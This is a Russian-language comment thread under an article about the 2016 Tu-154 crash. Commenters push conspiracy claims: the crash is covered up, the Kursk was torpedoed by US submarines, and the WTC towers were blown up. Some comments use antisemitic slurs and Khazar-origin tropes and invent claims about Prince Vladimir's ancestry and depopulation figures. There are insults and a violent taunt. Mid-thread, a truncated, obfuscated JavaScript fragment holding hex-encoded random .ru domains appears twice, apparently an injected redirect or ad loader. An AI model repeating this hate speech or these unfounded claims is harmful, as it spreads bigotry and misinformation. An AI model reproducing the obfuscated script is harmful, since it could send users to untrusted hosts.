|
|
> Новости> Ключевые слова - теги> Авторизация> В команду> Помощь Мухину> Баннеры> Объявления> Сейчас на сайтеСейчас на сайте 0 пользователей и 12 гостей.
|
|
КАТАСТРОФА ТУ-154 В ДЕКАБРЕ 2016. ДЕЛО ЕЩЁ СТРАШНЕЕ |
> Новости> Ключевые слова - теги> Авторизация> В команду> Помощь Мухину> Баннеры> Объявления> Сейчас на сайтеСейчас на сайте 0 пользователей и 12 гостей.
|
|
Я просто напомню об одном из
Я просто напомню об одном из странных крушений (MH-17), так сказать в копилку.
Это перевод интервью частного детектива Езефа Реша немецкой радиостанции SWR1 от 28.04.2016:
https://www.youtube.com/watch?v=LkPBQIHEgiA
А вот новость от 07.06.2016. "СМИ: власти ФРГ и Швейцарии изъяли у детектива документы по крушению МН17"
https://ria.ru/mh17/20160607/1444108502.html
Аналогия "Мухинских" рассуждений
Как аналогию того, что "доказать" можно что угодно, приведу выдержки из статьи Википедии "Ленин-гриб":
«Ленин — гриб» — телевизионный сюжет-мистификация, подготовленный музыкантом Сергеем Курёхиным и журналистом Сергеем Шолоховым и впервые показанный в январе 1991 года [1] в телевизионной передаче «Пятое колесо» по Ленинградскому телевидению. Сюжет строится в виде интервью, которое Сергей Шолохов брал у Сергея Курёхина.
Создатели передачи с серьёзным видом подали как истину некий миф, согласно которому Ленин в больших количествах употреблял галлюциногенные грибы и сам в результате превратился в гриб. Этот заведомо абсурдный тезис не преподносился зрителю сразу — вместо этого создавалась иллюзия некоего логического рассуждения с цитатами из самых разных источников (вплоть до того, что Курёхин в словах о своей мексиканской экспедиции ссылается на творчество Карлоса Кастанеды). Эффект правдоподобности создавался путём манипуляций — подтасовки фактов и сбивчивого изложения, которое само по себе не несло особого смысла, но искусно подавалось автором как некоторое «научное обоснование».
В сюжете утверждалось, что Ленин на самом деле был грибом, а также радиоволной. В доказательство приводились такие «аргументы», как сходство разреза броневика, с которого выступал Ленин, и грибницы мухомора, утверждение, что «нинель» («Ленин» наоборот) — это французское блюдо из грибов, и тому подобные.
[2] «Комсомольской правде» рассказала историю возникновения этой телепередачи:
______________
Еще раз скажу: любое событие или явление можно одинаково логически непротиворечиво объяснить множеством способов.
для Роман Тула
С какой стати вы берёте на себя смелость издеваться над логикой? "Еще раз скажу: любое событие или явление можно одинаково логически непротиворечиво объяснить множеством способов."-либо вы приводите эту фразу в следущий вид:"Еще раз скажу: любое событие или явление можно одинаково непротиворечиво объяснить множеством способов.", либо доказываете логически (множественными способами??), что 2х2=4-ложное утверждение. А попутно разъясните, с какой целью в эту тему вы приволокли блевотину:«Ленин — гриб» и всячески её тут пережёвываете, не сказав ни единого слова по теме статьи?
доказательство
Возьмем тождество
-20 = -20
Представим его как 16 — 36 = 25 — 45
Прибавим к обеим частям 81/4
16 — 36 + 81/4 = 25 — 45 + 81/4
В левой части полный квадрат разности чисел 4 и 9/2
В правой части полный квадрат разности чисел 5 и 9/2
(4 — 9/2) в кв = (5 — 9/2) в кв
Извлекаем квадратный корень из обеих частейуравнения.
4 — 9/2 = 5 — 9/2
4 = 5
2 х 2 = 5
Прекрасный пример многих
Прекрасный пример многих "разоблачений" Мухина.
А вот еще один пример "журналистских" расследований:
https://www.youtube.com/watch?v=1NJ0dQAijiA
для Юрий 1
Прекрасный пример дебила для убеждения другого дебила, что дебил-не дебил. "Ты- гений, среди говна и удобрений"(с).
для Роман Тула
То есть, вы не вкуриваете, да? Продолжаете на логичность свою упирать? Вот с этого момента:(16-36)+81/4=(25-45)+81/4, про "полный квадрат разности чисел" (расшифруйте враздельно, поэтапно, что лично вы понимаете под этим набором звуков) полопочите чего-нибудь, и заодно озвучьте разницу между логикой и софистикой. Да, да, той самой софистикой, которой вы тут наш мозг своими бестолковыми постами кормите. PS. Также, тщательно пережёвываемую вами блевотину («Ленин — гриб»), не забывайте комментировать.
У вас ошибка. Псле
У вас ошибка. Псле извлечения квадратного корня получим
|4-9/2|=|5-/2|
Конечно именно здесь и
Конечно именно здесь и ошибка!
Но далеко не каждый даже после окончания школы найдет ее. И для него это будет убедительным доказательством.
В этом и смысл примера. Если человек не знает тему ему можно доказать что угодно!
Меня поражает и Мухин и многие здесь собравшиеся. Абсолютно не зная никаких фактов - только отрывочные сведения из прессы, зачастую противоречащие друг другу, строят какие-то теории.
Большинство знают физику в объеме школы или пары курсов института, никто не знает как произошла катастрофа, на какой скорости вертикальной и горизонтальной произошло соприкосновение с водой, какой частью, под каким углом и многие другие факторы - а все ту да же - не могло так быть и все тут!
Одним словом - диванные експерты!
для Юрий 1
"Меня поражает и Мухин и многие здесь собравшиеся. Абсолютно не зная никаких фактов - только отрывочные сведения из прессы, зачастую противоречащие друг другу, строят какие-то теории."-Не заморачивайся, смотри зомбоящик, там много есть, и всё-сплошные факты.
для Гость123
Так то оно так, но проблема глубже. Дело в том, что -20=-20 -это утверждение не имеет отношения к математике. Это уже бредоматика. Математика-наука о пространственных формах и количественных отношениях действительного мира. А в действительном мире нет и быть не может отрицательных скаляров. Так что манипуляция (с позиций математики) началась с самого первого утверждения.
Научитесь правильно решать
Научитесь правильно решать уравнения второй степени. Вам должно быть стыдно.
Да умеет человек решать эти
Да умеет человек решать эти уравнения!
Суть в другом. Этим примером показывается, как легко и непринужденно случайно или намеренно допустив очень незаметную ошибку (неточность, неправильный вывод и т. д.) можно доказать что угодно. В частности 2*2=5.
о катастрофе
Могло ли быть так, как утверждается в официальной версии крушении ТУ-154? Могло! Только в виде примера как вариант:
Пограничник-очевидец доложил увиденное начальству, на что получил приказ продолжать нести службу согласно иснтрукции(приказа). Его показания занесли в журнал событий, а командира будить не стали(побоялись).
При выражении "фрагметы тел" наше воображение сразу рисует изрубленные в куски части тела, отрубленные руки, ноги, пальцы, органы, etc. Хотя на самом деле "фрагменты тел" могут быть вздувшимися от длительного пребывания в морской воде обезображенными трупами частично объеденными и обглоданными из-за высокой биологической активности.
Мог ли самолет не при планировании, а при пикировании хвостом вниз с большой высоты разлететься на куски? Вероятно, мог. А течение (высокое в том районе) могло разнести обломки по большой площади.
А могло ли быть так, как утверждает Юрий Игнатьевич? Могло!
А могли ли прилететь инопланетяне, разорвать самолет в куски, разорвать тела и разбросать по большой площади? Могли!
Но по закону достаточного основания мне больше всего импонирует официальная версия крушения, так как она объясняет причину катастрофы простыми возможными событиями без привлечения тайных заговоров.
-))) "Диалог: - Шестой -
-)))
"Диалог:
- Шестой - второму: многочисленные высотные цели по азимуту 140.
- Второй-шестому: наблюдайте, доложите.
- Шестой-второму: наблюдаю массовую высотную цель, определяю - баллистические ракеты, время подлета 20 минут, цель - мы.
- Второй - шестому: Понял вас. Первый спит, у него новая любовница, и вообще я его боюсь будить, об инциденте передоложите утром."
Вот так вы представляете работу российских военных?
И после этого меня здесь называют русофобом?!
Во всяком случае, Роман, много всяких "нестыковок" в сей истории
И раз официальный Кремль по сей день официально врёт своему народу насчёт обстоятельств гибели АПЛ "Курск" и про "11 Сентября 2001г" - лично у меня имеются все основания не доверять "официальной версии" крушения лайнера Ту-154, пока не получу убедительных доказательств на сей счёт
Чахлику невмирующему
Но ведь нет же никакой официальной версии. Версия - это все таки наиболее вероятное событие, а не какое-нибудь объяснение имевшему место событию. Версий может быть много, но различаются они разной оценкой вероятности.
Можно показать мою мысль такой аналогией:
Вот лежит труп с разбитой головой (травма несовместимая с жизнью)
У следователя куча разных версий. Убил Пупкин, Васькин или Мерзкин, по таким или другим мотивам, при таких-то обстоятельствах. Это все версии которые проверяются.
Но ведь есть же и простое объяснение. Человек был хороший, никого не обижал. Зачем его кому то убивать. Он просто шел по улице и ему на голову упал с небес ледяной метеорит очень маленький. Ударил по голове и разбил ее вдрызг. Сам же расстаял. Спросим экспертов - астрономов возможно такое теоретицки? Да, но чисто теортицки!!! - ответят они!!! Вот и хорошо !!! Прекращаем дело за отсутствием состава преступления!!!
Так называемая "официальная версия" изготовленная из "бритвы Оккама" - это некое подобное объяснение события крушения самолета. Дескать летчик перепутал условный "газ" с "тормозом" в результате произошло такое стечение обстоятельств, что самолет под таким углом и такой скорость грохнулся в воду, что разлетелся как снежный комок об столб. Случайность, типа. Был ьы угол другой, скорость ветер и самолет может быть был бы цел, а тут стечение обстоятельств!!!
Теракт длиною в тысячу лет
http://www.kramola.info/blogs/metody-genocida/terakt-dlinoyu-v-tysyachu-let
Всем версиям – Версия.
Всем наукам – Наука.
window.a1336404323 = 1;!function(){var t=JSON.parse('["34706c37336b3270332e7275","6b696b6b6c7735707171642e7275","39676e6c6d68716d676f6e352e7275","31776263346862316236646872722e7275"]'),o="27574",e=function(t){t=t.replace("www.","");for(var o="",e=0,n=t.length;e
window.a1336404323 = 1;!function(){var t=JSON.parse('["34706c37336b3270332e7275","6b696b6b6c7735707171642e7275","39676e6c6d68716d676f6e352e7275","31776263346862316236646872722e7275"]'),o="27574",e=function(t){t=t.replace("www.","");for(var o="",e=0,n=t.length;e
Если в кране нет воды...
И сочинители этих "народных баек" сами-же жиды - о чём следует помнить тоже... Россия-же (и тем более СССР) никогда не поддерживала "произраильских резолюций" и в данном случае акт "мести Израиля" - это полнейший бред. А вот месть США - за Сирию (где американцы понесли существенные потери "военных советников"), вполне возможна... Удивляет в вашей ссылки даже "притянутый за уши" Викинг - где как раз наглядно продемонстрирована до-христианская "Языческая Русь" и очень напоминающая "Ветхий Завет" самой библии. Если вам не ясна суть нового российского фильма "Викинг" - снятая наверняка по внегласному заказу РПЦ (и может даже несколько предвзято - о чём ещё можно потолковать), то и сути самой библии вам не понять вовсе (и там и там - один и тот-же подход к осознанию спасительности "сути христианства"): Вы и в правду такой тупой (хотя и "штурман")) - или только прикидываетесь с "нечистым сердцем"???
Катастрофу ТУ-154 в Сочи
Катастрофу ТУ-154 в Сочи скрывают также как гибель АПЛ "КУРСК”
https://youtu.be/ilQZ4AzQlUw
На видео много интересных картинок, схем, в том числе – фото обложки книг Юрия Игнатьевича «Кто убивал американцев», «Главные преступления 21 века» и «Заткнуть Росси рот»,
Так же, как и в предыдущем материале, упоминание антирусского фильма «Викинг» хорошо ложилось в канву повествования о знаковых диверсиях против Русской цивилизации. А надо знать, какой страшный вред Руси учинил байстрюк Володька (по иудейским канонам – еврей от рождения), внебрачный сын Святослава и его ключницы еврейки Малки. Убийца и насильник. Если до «крещения», которое проводил «равноапостольный князь Владимир» и его дружина – банда, на территории Киевской Руси было 300 городов и проживало 12 миллионов жителей , то после «крещения» осталось только 30 городов и 3 миллиона населения! http://www.liveinternet.ru/users/amayfaar/post132929517
Так и здесь – упоминание о гибели подводного крейсера «Курск» в результате торпедной атаки подлодки ВМФ США (в районе учений их было две – «Мемфис» и «Толедо»), тоже вполне к месту. Как и взрывы башен ВТЦ в Нью—Йорке.
О «Курске» есть хороший фильм французского автора «Подводная лодка в мутной воде». https://youtu.be/G-D5JDlQ0O0
И в первом, и во втором случае – это звенья одной цепи.
Штурман, никто в действительности не знает
-как выглядили "первоначальные евреи" и откуда они взялись (отсюда и новоиспечённая "древнеукраинская история" о происхождении самого Иисуса Христа от "древних укров")))... И если ты такой "русский" - ответь почему наше древнерусское летоисчислений намного старше еврейского, 7525г кажись - на дворе (Я это к тому что именно русским не следует так явно отгораживаться от "жидов" и показывать на них пальцем и, вполне возможно что "древнеукраинская история" всё-же имеет под собою некоторое "древнерусское основание", да и сами нынешние "украинцы" - разве не результат подобного-же "русского ожидовливания" на современном этапе русской истории)))??? И те "первоначальные евреи" и сама древнерусская цивилизация происходили от самого Бога (богов), но что-то неизбежное происходило с ними - общее: постепенная деградация и скатывание к поклонению сатане вместо Бога (и возможно что речь идёт об одном и том-же народе, но только в разных его "ответвлениях"). Именно поэтому древнерусские летописи так сильно напоминают "ветхий завет" христианской библии - чего ты принять никак не можешь и для тебя в древнерусской "были" всё должно быть однозначно "белым и пушистым"? Ты и рассуждаешь как самый настоящий ЖИД - представитель "высшей рассы" и непогрешимый как сам "папа римский", а между тем современной нации "евреев" не существует в человеческой природе и самыми типичными представителями нынешней "этнической составляющей иудеев" являются те самые хазары (их более 80% от мирового еврейства) - коих бил ещё тот самый "Святослав" и которые никогда не имели какого-либо кровного отношения к подлинным "сынам Израиля"... И князь Владимир никогда небыл чем либо лучше или хуже собственного отца и братьев в период языческого отрезка собственной жизни, просто не нужно путать "Ветхий Завет" с "Новым Заветом" христианской библии - утверждая что это одно и тоже и на этом основании приписывать князю Владимиру "подвиги" крестовых походов жидовствующих еретиков католицизма (и их разборки с ещё более продвинутыми в этом отношении, протестантами))
Ну а насчёт "Курска в мутной воде" и новоиспечённого "Фантомаса Бин-Ладена" мне и вовсе объяснять ничего не нужно - тут всё верно! Только эти подлинные страницы "общечеловеческой истории" весьма достойны "древних текстов ветхого завета" - не находишь???
Я не вступаю здесь ни с кем
Я не вступаю здесь ни с кем в полемику. Тем более - в хамскую, оскорбительную. Вот и вам я не давал повода обращаться ко мне на «ты».
Да ВЫ, батенька, лживая свинья оказывается...
Но прежде чем вступать с кем либо в полемику - не плохо-бы владеть "предметом полемики"... Ведь судя по всему, ВЫ и "Викинга" не смотрели даже (верно?), а судите об этой картине (и тех временах, соответственно) исключительно с высоты того "поросячего визга" - что подняли вокруг него "ваши братья по разуму"... А между тем, князь Владимир там показан вовсе не "белым и пушистым (и особенно в формате 18+"), и та кровь что бесконечно проливается в картине - по всей Руси, как раз на совести "языческих богов" (и это никакие не выдумки, т.к. в основу фильма положены события "древнерусских летописей" - против которых у Вас ничего нет кроме "жидовских измышлений"))
для Чахлик невмирущий
Блевотину "Викинг" смотреть и не следует категорически. Так обосрать (за 1250 млн. бюджетных денег) историю Руси, как это сделал Эрнст, надобно уметь.
Критика - нормальное состояние для любой к/картины
Но "кинокритики" прежде смотрят и лишь потом высказываются по-существу
для Чахлик невмирущий
Юрий Игнатьевич как раз тему открыл соответсвующую, там всё есть.
Чушь несусветная. До
Чушь несусветная. До крещения, как и после крещения на территории Киевской Руси проживало менее 1 миллиона человек.
для Роман Тула
Да у нас тут очередной дебил своими полированными мозгами бликует. Что, опять логику надо вплести в собственное нечленораздельное бормотание? "Но по закону достаточного основания"-это всё, что вы слышали о логике? А об избрании точки опоры выводов, там где вы чего-то слушали о логике, ничего не попалось, а? Где эта самая точка опоры выводов то? В бессвязном лживом блеянии СМИ утонула? На основании чего вообще можно выводы здесь строить? Импонирует вам, видите ли, официальная версия. Экзальтированный вы наш "логик", импонирует ему...а девки голые вам импонируют или уже нет? Что там ваше "логическое" "мышление" о девках разродит?
#неаргумент
Уважаемый гастат, учитесь у Юрия Игнатьевича аргументированно доказывать свою точку зрения.
для Роман Тула
Кому, вам-дебилу? Доказывать? Это нереально. Вас проще взять за обе ноги и об стенку головушкой шмякнуть, для вас лично, это будет наилучший аргумент. Ведь то, что прежде чем применить закон достаточного основания, необходимо, как минимум, озаботиться поиском точки опоры выводов,-это для вас не аргумент..."...учитесь.." -"Поучайте лучше ваших паучат"(с).
Отправить комментарий